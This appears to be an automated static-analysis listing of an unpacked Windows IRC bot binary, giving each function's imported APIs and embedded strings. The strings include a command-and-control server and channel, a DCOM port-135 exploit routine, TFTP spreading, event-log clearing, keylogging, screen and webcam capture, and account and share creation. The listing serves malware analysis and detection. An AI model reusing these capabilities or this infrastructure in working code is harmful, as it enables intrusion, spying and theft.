sub_outside():
WS2_32.ntohs
WS2_32.socket
WS2_32.sendto
WS2_32.WSAGetLastError
WS2_32.closesocket
WSOCK32.recvfrom
WS2_32.inet_ntoa
WS2_32.inet_addr
WS2_32.connect
WS2_32.send
WSOCK32.recv
WS2_32.gethostbyname
USER32.FindWindowA
USER32.SendMessageA
USER32.IsWindow
|
sub_419A83(0376):
KERNEL32.GetLogicalDriveStringsA
|
sub_41AD09(042d):
"netapi32.dll"
"NetMessageBufferSend"
|
sub_40FF05(0629):
WS2_32.ntohl
WS2_32.send
|
sub_41873A(070b):
WS2_32.socket
WS2_32.ntohs
WS2_32.bind
WS2_32.getsockname
WS2_32.listen
WS2_32.inet_addr
WS2_32.ntohl
WS2_32.select
WS2_32.accept
WS2_32.closesocket
WS2_32.send
WSOCK32.recv
WS2_32.inet_ntoa
|
sub_429EE0(08ae):
"filename != NULL"
"_open.c"
"mode != NULL"
"_open.c"
"_open.c"
|
sub_41AFD4(0aa8):
"The specified database does not exist."
"The handle does not have the required a"...
"The specified service name is invalid."
"The handle is invalid."
"The service binary file could not be fo"...
"An instance of the service is already r"...
"The database is locked."
"The service depends on a service that d"...
"The service depends on another service "...
"The service has been disabled."
"The specified service does not exist."
"The service could not be logged on. The"...
"The service has been marked for deletio"...
"A thread could not be created for the s"...
"The process for the service was started"...
"The service cannot be stopped because o"...
"The requested control code is undefined"...
"The requested control code is not valid"...
"The requested control code cannot be se"...
"The service has not been started."
"The system is shutting down."
"An unknown error occurred: <%ld>"
|
sub_4173DC(0b63):
"[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
|
sub_4212F0(0d6b):
"file != NULL"
"fopen.c"
"*file != _T('\\0')"
"fopen.c"
"mode != NULL"
"fopen.c"
"*mode != _T('\\0')"
"fopen.c"
|
sub_41A5B6(0f26):
"%s Error: %s <%d>."
|
sub_415A54(112c):
WS2_32.WSAStartup
WS2_32.socket
WS2_32.ntohs
WS2_32.connect
WS2_32.send
WSOCK32.recv
WS2_32.closesocket
WS2_32.WSACleanup
"%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
|
sub_4293A0(12f0):
"__MSVCRT_HEAP_SELECT"
"__GLOBAL_HEAP_SELECTED"
|
sub_41104D(1458):
WS2_32.socket
WS2_32.ntohs
WS2_32.inet_addr
WS2_32.connect
WS2_32.closesocket
WS2_32.send
WSOCK32.recv
""
"127.0.0.1\\IPC$\\"
"[TFTP]: File transfer complete to IP: %"...
"Dcom2-135"
"[%s]: Exploiting IP: %s."
|
sub_41D4E3(1637):
KERNEL32.SearchPathA
"cmd.exe"
|
sub_433100(1777):
USER32.GetActiveWindow
USER32.GetLastActivePopup
USER32.MessageBoxA
"user32.dll"
"MessageBoxA"
"GetActiveWindow"
"GetLastActivePopup"
|
sub_415120(17cc):
WS2_32.send
"\n"
"PRIVMSG %s :Searching for: %s\r\n"
"\r\n\r\nIndex of %s</TIT"...
"<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
"<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
"<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
".."
"."
"PM"
"AM"
"%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
"<%s>"
"PRIVMSG %s :%-31s %-21s\n"
"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
"%s%s/"
"\"><CODE>%.29s>/</CODE></A>"
"\"><CODE>%s/</CODE></A>"
"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
"<%s>"
"%-31s %-21s\r\n"
"PRIVMSG %s :%-31s %-21s (%s bytes)\n"
"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
"%s%s"
"\"><CODE>%.30s></CODE></A>"
"\"><CODE>%s</CODE></A>"
"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
"%-31s %-21s (%i bytes)\r\n"
"PRIVMSG %s :Found %s Files and %s Direc"...
"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
"Found: %i Files and %i Directories\r\n"
</font></pre></td></tr><tr id="sub_42B550"><td><pre><a name="sub_42B550"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_42B550"><font size=+2>sub_42B550</a>(1aad)</font>:<font color=brown>
"tidtable.c"
</font></pre></td></tr><tr id="sub_41628B"><td><pre><a name="sub_41628B"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41628B"><font size=+2>sub_41628B</a>(1c0a)</font>:<font color=darkgreen>
WSOCK32.recv
WS2_32.send
WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_4127DB"><td><pre><a name="sub_4127DB"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4127DB"><font size=+2>sub_4127DB</a>(1de0)</font>:<font color=darkgreen>
WSOCK32.recv</font>
<font color=brown></font></pre></td></tr><tr id="sub_4144BD"><td><pre><a name="sub_4144BD"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4144BD"><font size=+2>sub_4144BD</a>(1de1)</font>:<font color=darkgreen>
WS2_32.ntohs
WS2_32.socket
WS2_32.bind
WS2_32.listen
WS2_32.ioctlsocket
WS2_32.select
WS2_32.__WSAFDIsSet
WS2_32.accept
WSOCK32.recv
WS2_32.closesocket
WS2_32.WSAGetLastError</font>
<font color=brown>
"GET "
" "
" "
"GET "
"\r\n"
</font></pre></td></tr><tr id="sub_41A677"><td><pre><a name="sub_41A677"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41A677"><font size=+2>sub_41A677</a>(1de1)</font>:<font color=darkgreen>
USER32.OpenClipboard
USER32.GetClipboardData
USER32.CloseClipboard</font>
<font color=brown></font></pre></td></tr><tr id="sub_4200A0"><td><pre><a name="sub_4200A0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4200A0"><font size=+2>sub_4200A0</a>(1dec)</font>:<font color=brown>
"memory check error at 0x%08X = 0x%02X, "...
</font></pre></td></tr><tr id="sub_42A430"><td><pre><a name="sub_42A430"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_42A430"><font size=+2>sub_42A430</a>(1ed9)</font>:<font color=brown>
"_flsbuf.c"
"(\"inconsistent IOB fields\", stream->_pt"...
"_flsbuf.c"
</font></pre></td></tr><tr id="sub_41C123"><td><pre><a name="sub_41C123"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41C123"><font size=+2>sub_41C123</a>(1f4d)</font>:<font color=brown>
"Level parameter is invalid."
"The name is invalid."
"Invalid parameter."
"Not enough memory."
"This network request is not supported."
"Server name not found."
"Share not found."
"Duplicate share name."
"Invalid for redirected resource."
"Device or directory does not exist."
"The computer name is invalid."
"The operation is allowed only on the pr"...
"The group already exists."
"The user account already exists."
"The password is shorter than required ("...
"Network connection not found."
"A general failure occurred in the netwo"...
"The user name could not be found."
"An unknown error occurred."
</font></pre></td></tr><tr id="sub_40DE28"><td><pre><a name="sub_40DE28"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40DE28"><font size=+2>sub_40DE28</a>(1f7f)</font>:<font color=brown>
"Dcom2-135"
" Scan Time: %s."
</font></pre></td></tr><tr id="sub_42C360"><td><pre><a name="sub_42C360"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_42C360"><font size=+2>sub_42C360</a>(2402)</font>:<font color=brown>
"flag == 0 || flag == 1"
"_sftbuf.c"
</font></pre></td></tr><tr id="sub_43C5F0"><td><pre><a name="sub_43C5F0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_43C5F0"><font size=+2>sub_43C5F0</a>(260a)</font>:<font color=brown>
"cchCount1==0 && cchCount2==1 || cchCoun"...
</font></pre></td></tr><tr id="sub_430C50"><td><pre><a name="sub_430C50"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_430C50"><font size=+2>sub_430C50</a>(270a)</font>:<font color=brown>
"setlocal.c"
</font></pre></td></tr><tr id="sub_420B70"><td><pre><a name="sub_420B70"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_420B70"><font size=+2>sub_420B70</a>(28a1)</font>:<font color=brown>
"Dumping objects ->\n"
"%s"
"#File Error#(%d) : "
"%hs(%d) : "
"{%ld} "
"client block at 0x%08X, subtype %x, %u "...
"normal block at 0x%08X, %u bytes long.\n"...
"crt block at 0x%08X, subtype %x, %u byt"...
</font></pre></td></tr><tr id="sub_4016A7"><td><pre><a name="sub_4016A7"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4016A7"><font size=+2>sub_4016A7</a>(2c78)</font>:<font color=darkgreen>
KERNEL32.SetErrorMode
WS2_32.WSAStartup
WS2_32.WSACleanup</font>
<font color=brown>
"%s%s"
"%s\\%s"
"%s %d \"%s\""
"irc.mrneti.cjb.net"
"##mrneti##"
"irc.mrneti.cjb.net"
"##mrneti##"
</font></pre></td></tr><tr id="sub_41F350"><td><pre><a name="sub_41F350"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41F350"><font size=+2>sub_41F350</a>(2daa)</font>:<font color=brown>
"_CrtCheckMemory()"
"dbgheap.c"
"Client hook re-allocation failure at fi"...
"Client hook re-allocation failure.\n"
"%s"
"Allocation too large or negative: %u by"...
"Error: memory allocation: bad memory bl"...
"%s"
"_CrtIsValidHeapPointer(pUserData)"
"dbgheap.c"
"pOldBlock->nLine == IGNORE_LINE && pOld"...
"dbgheap.c"
"_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"...
"dbgheap.c"
"fRealloc || (!fRealloc && pNewBlock == "...
"dbgheap.c"
"_pLastBlock == pOldBlock"
"dbgheap.c"
"_pFirstBlock == pOldBlock"
"dbgheap.c"
</font></pre></td></tr><tr id="sub_40F9E5"><td><pre><a name="sub_40F9E5"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40F9E5"><font size=+2>sub_40F9E5</a>(3048)</font>:<font color=brown>
"BBBB"
"CCCC"
</font></pre></td></tr><tr id="sub_421F80"><td><pre><a name="sub_421F80"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_421F80"><font size=+2>sub_421F80</a>(331e)</font>:<font color=brown>
"fprintf.c"
"format != NULL"
"fprintf.c"
</font></pre></td></tr><tr id="sub_417AFA"><td><pre><a name="sub_417AFA"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_417AFA"><font size=+2>sub_417AFA</a>(3439)</font>:<font color=darkgreen>
USER32.IsWindow
USER32.SendMessageA
USER32.DestroyWindow</font>
<font color=brown>
"Window"
</font></pre></td></tr><tr id="sub_4116B3"><td><pre><a name="sub_4116B3"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4116B3"><font size=+2>sub_4116B3</a>(35e6)</font>:<font color=darkgreen>
WS2_32.ntohs
WS2_32.send
WSOCK32.recv</font>
<font color=brown></font></pre></td></tr><tr id="sub_430DF0"><td><pre><a name="sub_430DF0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_430DF0"><font size=+2>sub_430DF0</a>(3752)</font>:<font color=brown>
"setlocal.c"
"="
";"
</font></pre></td></tr><tr id="sub_417DDF"><td><pre><a name="sub_417DDF"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_417DDF"><font size=+2>sub_417DDF</a>(3882)</font>:<font color=darkgreen>
USER32.IsWindow
USER32.SendMessageA
USER32.DestroyWindow</font>
<font color=brown>
"Window"
</font></pre></td></tr><tr id="sub_41CD6B"><td><pre><a name="sub_41CD6B"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41CD6B"><font size=+2>sub_41CD6B</a>(3ee8)</font>:<font color=darkgreen>
ADVAPI32.OpenProcessToken
ADVAPI32.LookupPrivilegeValueA
ADVAPI32.AdjustTokenPrivileges</font>
<font color=brown></font></pre></td></tr><tr id="sub_434860"><td><pre><a name="sub_434860"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_434860"><font size=+2>sub_434860</a>(3fad)</font>:<font color=brown>
"ungetc.c"
</font></pre></td></tr><tr id="sub_42C200"><td><pre><a name="sub_42C200"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_42C200"><font size=+2>sub_42C200</a>(4039)</font>:<font color=brown>
"_sftbuf.c"
"_sftbuf.c"
</font></pre></td></tr><tr id="sub_436400"><td><pre><a name="sub_436400"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_436400"><font size=+2>sub_436400</a>(4234)</font>:<font color=brown>
"initnum.c"
"."
"initnum.c"
"initnum.c"
</font></pre></td></tr><tr id="sub_40C86E"><td><pre><a name="sub_40C86E"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40C86E"><font size=+2>sub_40C86E</a>(4367)</font>:<font color=darkgreen>
WS2_32.getsockname</font>
<font color=brown>
"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_40C9C0"><td><pre><a name="sub_40C9C0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40C9C0"><font size=+2>sub_40C9C0</a>(4512)</font>:<font color=brown>
"%s"
"%s%i"
</font></pre></td></tr><tr id="sub_43AA10"><td><pre><a name="sub_43AA10"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_43AA10"><font size=+2>sub_43AA10</a>(4836)</font>:<font color=brown>
"inithelp.c"
"inithelp.c"
</font></pre></td></tr><tr id="sub_40C6CF"><td><pre><a name="sub_40C6CF"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40C6CF"><font size=+2>sub_40C6CF</a>(4940)</font>:<font color=darkgreen>
IPHLPAPI.GetIpNetTable
IPHLPAPI.DeleteIpNetEntry</font>
<font color=brown></font></pre></td></tr><tr id="sub_420F90"><td><pre><a name="sub_420F90"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_420F90"><font size=+2>sub_420F90</a>(494e)</font>:<font color=brown>
"Detected memory leaks!\n"
"%s"
</font></pre></td></tr><tr id="sub_419E40"><td><pre><a name="sub_419E40"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_419E40"><font size=+2>sub_419E40</a>(4c08)</font>:<font color=darkgreen>
WS2_32.socket
WS2_32.ntohs
WS2_32.connect
WS2_32.send
WS2_32.closesocket
WSOCK32.recv
WS2_32.inet_addr</font>
<font color=brown></font></pre></td></tr><tr id="sub_435A80"><td><pre><a name="sub_435A80"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_435A80"><font size=+2>sub_435A80</a>(5012)</font>:<font color=brown>
"inittime.c"
</font></pre></td></tr><tr id="sub_41B758"><td><pre><a name="sub_41B758"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41B758"><font size=+2>sub_41B758</a>(516b)</font>:<font color=darkgreen>
ADVAPI32.IsValidSecurityDescriptor</font>
<font color=brown>
"Share name: Resource: "...
"Yes"
"No"
"%-14S %-24S %-6u %-4s"
</font></pre></td></tr><tr id="sub_41EEE0"><td><pre><a name="sub_41EEE0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41EEE0"><font size=+2>sub_41EEE0</a>(5171)</font>:<font color=brown>
"_CrtCheckMemory()"
"dbgheap.c"
"Client hook allocation failure at file "...
"Client hook allocation failure.\n"
"%s"
"Invalid allocation size: %u bytes.\n"
"Error: memory allocation: bad memory bl"...
"%s"
</font></pre></td></tr><tr id="sub_4166B5"><td><pre><a name="sub_4166B5"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4166B5"><font size=+2>sub_4166B5</a>(5588)</font>:<font color=brown>
"cmd /q"
</font></pre></td></tr><tr id="sub_432590"><td><pre><a name="sub_432590"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_432590"><font size=+2>sub_432590</a>(5663)</font>:<font color=brown>
"<program name unknown>"
"..."
"Runtime Error!\n\nProgram: "
"\n\n"
"Microsoft Visual C++ Runtime Library"
</font></pre></td></tr><tr id="sub_41A6C1"><td><pre><a name="sub_41A6C1"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41A6C1"><font size=+2>sub_41A6C1</a>(5679)</font>:<font color=darkgreen>
USER32.FindWindowA
USER32.SendMessageA</font>
<font color=brown>
"mIRC"
"mIRC"
</font></pre></td></tr><tr id="sub_43A4F0"><td><pre><a name="sub_43A4F0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_43A4F0"><font size=+2>sub_43A4F0</a>(569a)</font>:<font color=brown>
"am/pm"
"a/p"
</font></pre></td></tr><tr id="sub_4177EB"><td><pre><a name="sub_4177EB"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4177EB"><font size=+2>sub_4177EB</a>(56e6)</font>:<font color=darkgreen>
GDI32.CreateDCA
GDI32.GetDeviceCaps
GDI32.CreateCompatibleDC
GDI32.DeleteDC
GDI32.CreateDIBSection
GDI32.SelectObject
GDI32.BitBlt
GDI32.GetDIBColorTable
GDI32.DeleteObject</font>
<font color=brown>
"DISPLAY"
</font></pre></td></tr><tr id="sub_420130"><td><pre><a name="sub_420130"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_420130"><font size=+2>sub_420130</a>(57e1)</font>:<font color=brown>
"_heapchk fails with _HEAPBADBEGIN.\n"
"%s"
"_heapchk fails with _HEAPBADNODE.\n"
"%s"
"_heapchk fails with _HEAPBADEND.\n"
"%s"
"_heapchk fails with _HEAPBADPTR.\n"
"%s"
"_heapchk fails with unknown return valu"...
"%s"
"DAMAGE: before %hs block (#%d) at 0x%08"...
"DAMAGE: after %hs block (#%d) at 0x%08X"...
"DAMAGE: on top of Free block at 0x%08X."...
"%hs allocated at file %hs(%d).\n"
"%hs located at 0x%08X is %u bytes long."...
</font></pre></td></tr><tr id="sub_43B7C0"><td><pre><a name="sub_43B7C0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_43B7C0"><font size=+2>sub_43B7C0</a>(58db)</font>:<font color=brown>
"TZ"
"tzset.c"
</font></pre></td></tr><tr id="sub_40B0C5"><td><pre><a name="sub_40B0C5"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40B0C5"><font size=+2>sub_40B0C5</a>(5c33)</font>:<font color=darkgreen>
WININET.InternetOpenA</font>
<font color=brown>
"kernel32.dll"
"SetErrorMode"
"CreateToolhelp32Snapshot"
"Process32First"
"GetDiskFreeSpaceExA"
"GetLogicalDriveStringsA"
"SearchPathA"
"QueryPerformanceCounter"
"QueryPerformanceFrequency"
"RegisterServiceProcess"
"user32.dll"
"SendMessageA"
"FindWindowA"
"IsWindow"
"GetClipboardData"
"CloseClipboard"
"GetAsyncKeyState"
"GetKeyState"
"GetWindowTextA"
"GetForegroundWindow"
"advapi32.dll"
"RegCreateKeyExA"
"RegSetValueExA"
"RegQueryValueExA"
"RegDeleteValueA"
"RegCloseKey"
"ClearEventLogA"
"OpenProcessToken"
"LookupPrivilegeValueA"
"AdjustTokenPrivileges"
"OpenSCManagerA"
"OpenServiceA"
"ControlService"
"CloseServiceHandle"
"EnumServicesStatusA"
"IsValidSecurityDescriptor"
"GetUserNameA"
"gdi32.dll"
"CreateDCA"
"CreateDIBSection"
"CreateCompatibleDC"
"GetDIBColorTable"
"SelectObject"
"BitBlt"
"DeleteDC"
"DeleteObject"
"ws2_32.dll"
"WSAStartup"
"WSASocketA"
"WSAAsyncSelect"
"__WSAFDIsSet"
"WSAIoctl"
"WSAGetLastError"
"WSACleanup"
"socket"
"ioctlsocket"
"connect"
"inet_ntoa"
"inet_addr"
"htons"
"htonl"
"ntohs"
"ntohl"
"send"
"sendto"
"recv"
"recvfrom"
"bind"
"select"
"listen"
"accept"
"setsockopt"
"getsockname"
"gethostname"
"getpeername"
"closesocket"
"wininet.dll"
"InternetGetConnectedState"
"InternetGetConnectedStateEx"
"HttpOpenRequestA"
"HttpSendRequestA"
"InternetConnectA"
"InternetOpenUrlA"
"InternetCrackUrlA"
"InternetReadFile"
"InternetCloseHandle"
"Mozilla/4.0 (compatible)"
"icmp.dll"
"IcmpCreateFile"
"IcmpCloseHandle"
"IcmpSendEcho"
"netapi32.dll"
"NetShareAdd"
"NetShareDel"
"NetShareEnum"
"NetScheduleJobAdd"
"NetApiBufferFree"
"NetRemoteTOD"
"NetUserAdd"
"NetUserDel"
"NetUserEnum"
"NetUserGetInfo"
"NetMessageBufferSend"
"NetWkstaGetInfo"
"dnsapi.dll"
"DnsFlushResolverCache"
"DnsFlushResolverCacheEntry_A"
"iphlpapi.dll"
"DeleteIpNetEntry"
"mpr.dll"
"WNetAddConnection2A"
"WNetAddConnection2W"
"WNetCancelConnection2A"
"WNetCancelConnection2W"
"shell32.dll"
"SHChangeNotify"
"odbc32.dll"
"SQLDriverConnect"
"SQLAllocHandle"
"avicap32.dll"
"capCreateCaptureWindowA"
"capGetDriverDescriptionA"
</font></pre></td></tr><tr id="sub_41E66D"><td><pre><a name="sub_41E66D"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41E66D"><font size=+2>sub_41E66D</a>(5c72)</font>:<font color=darkgreen>
WININET.InternetGetConnectedStateExA</font>
<font color=brown></font></pre></td></tr><tr id="sub_434280"><td><pre><a name="sub_434280"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_434280"><font size=+2>sub_434280</a>(60e5)</font>:<font color=brown>
"MB_CUR_MAX == 1 || MB_CUR_MAX == 2"
</font></pre></td></tr><tr id="sub_40E7FB"><td><pre><a name="sub_40E7FB"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40E7FB"><font size=+2>sub_40E7FB</a>(62b8)</font>:<font color=brown>
"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_401FD0"><td><pre><a name="sub_401FD0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_401FD0"><font size=+2>sub_401FD0</a>(630c)</font>:<font color=darkgreen>
WS2_32.send
WS2_32.closesocket
WSOCK32.recv</font>
<font color=brown>
"PASS %s\r\n"
</font></pre></td></tr><tr id="sub_4331C0"><td><pre><a name="sub_4331C0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4331C0"><font size=+2>sub_4331C0</a>(63aa)</font>:<font color=brown>
"osfinfo.c"
</font></pre></td></tr><tr id="sub_436730"><td><pre><a name="sub_436730"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_436730"><font size=+2>sub_436730</a>(642b)</font>:<font color=brown>
"initmon.c"
</font></pre></td></tr><tr id="sub_429810"><td><pre><a name="sub_429810"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_429810"><font size=+2>sub_429810</a>(6774)</font>:<font color=brown>
"_filbuf.c"
</font></pre></td></tr><tr id="sub_4197EF"><td><pre><a name="sub_4197EF"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4197EF"><font size=+2>sub_4197EF</a>(6a65)</font>:<font color=darkgreen>
KERNEL32.GetDiskFreeSpaceExA</font>
<font color=brown></font></pre></td></tr><tr id="sub_415BB9"><td><pre><a name="sub_415BB9"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_415BB9"><font size=+2>sub_415BB9</a>(6a8f)</font>:<font color=darkgreen>
WS2_32.ntohs
WS2_32.socket
WS2_32.bind
WS2_32.listen
WS2_32.accept
WS2_32.inet_ntoa
WSOCK32.recv
WS2_32.send
WS2_32.WSAGetLastError
WS2_32.closesocket</font>
<font color=brown>
" : USERID : UNIX : %s\r\n"
</font></pre></td></tr><tr id="sub_40C219"><td><pre><a name="sub_40C219"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40C219"><font size=+2>sub_40C219</a>(6b8a)</font>:<font color=brown>
"Kernel32.dll failed. <%d>"
"User32.dll failed. <%d>"
"Advapi32.dll failed. <%d>"
"Gdi32.dll failed. <%d>"
"Ws2_32.dll failed. <%d>"
"Wininet.dll failed. <%d>"
"Icmp.dll failed. <%d>"
"Netapi32.dll failed. <%d>"
"Dnsapi.dll failed. <%d>"
"Iphlpapi.dll failed. <%d>"
"Mpr32.dll failed. <%d>"
"Shell32.dll failed. <%d>"
"Odbc32.dll failed. <%d>"
"Avicap32.dll failed. <%d>"
</font></pre></td></tr><tr id="sub_40D4E0"><td><pre><a name="sub_40D4E0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_40D4E0"><font size=+2>sub_40D4E0</a>(6f0b)</font>:<font color=darkgreen>
WS2_32.closesocket</font>
<font color=brown></font></pre></td></tr><tr id="sub_41282B"><td><pre><a name="sub_41282B"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41282B"><font size=+2>sub_41282B</a>(7237)</font>:<font color=darkgreen>
WS2_32.send</font>
<font color=brown></font></pre></td></tr><tr id="sub_41D7E0"><td><pre><a name="sub_41D7E0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41D7E0"><font size=+2>sub_41D7E0</a>(7330)</font>:<font color=darkgreen>
ADVAPI32.RegOpenKeyExA
ADVAPI32.RegSetValueExA
ADVAPI32.RegCloseKey</font>
<font color=brown>
"Software\\Microsoft\\OLE"
"EnableDCOM"
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
"restrictanonymous"
</font></pre></td></tr><tr id="sub_414B70"><td><pre><a name="sub_414B70"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_414B70"><font size=+2>sub_414B70</a>(7417)</font>:<font color=darkgreen>
WS2_32.send
WS2_32.closesocket</font>
<font color=brown>
"text/html"
"application/octet-stream"
"ddd, dd MMM yyyy"
"HH:mm:ss"
"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
</font></pre></td></tr><tr id="sub_431240"><td><pre><a name="sub_431240"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_431240"><font size=+2>sub_431240</a>(7430)</font>:<font color=brown>
"_"
"."
</font></pre></td></tr><tr id="sub_4254F0"><td><pre><a name="sub_4254F0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4254F0"><font size=+2>sub_4254F0</a>(744e)</font>:<font color=brown>
"_freebuf.c"
</font></pre></td></tr><tr id="sub_41AEF5"><td><pre><a name="sub_41AEF5"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41AEF5"><font size=+2>sub_41AEF5</a>(745b)</font>:<font color=darkgreen>
ADVAPI32.OpenSCManagerA
ADVAPI32.OpenServiceA
ADVAPI32.StartServiceA
ADVAPI32.DeleteService
ADVAPI32.ControlService
ADVAPI32.CloseServiceHandle</font>
<font color=brown></font></pre></td></tr><tr id="sub_41AAD0"><td><pre><a name="sub_41AAD0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_41AAD0"><font size=+2>sub_41AAD0</a>(7554)</font>:<font color=darkgreen>
ADVAPI32.OpenEventLogA
ADVAPI32.ClearEventLogA</font>
<font color=brown></font></pre></td></tr><tr id="sub_412CE8"><td><pre><a name="sub_412CE8"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_412CE8"><font size=+2>sub_412CE8</a>(7575)</font>:<font color=darkgreen>
WS2_32.send</font>
<font color=brown></font></pre></td></tr><tr id="sub_4199AA"><td><pre><a name="sub_4199AA"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4199AA"><font size=+2>sub_4199AA</a>(76ec)</font>:<font color=brown>
"failed"
</font></pre></td></tr><tr id="sub_4310E0"><td><pre><a name="sub_4310E0"></a><a href="d2fb5a4a3c82cce4ba140b9ef4a8b6c0_unpacked.asm.html#sub_4310E0"><font size=+2>sub_4310E0</a>(7d34)</font>:<font color=brown>
"_.,"
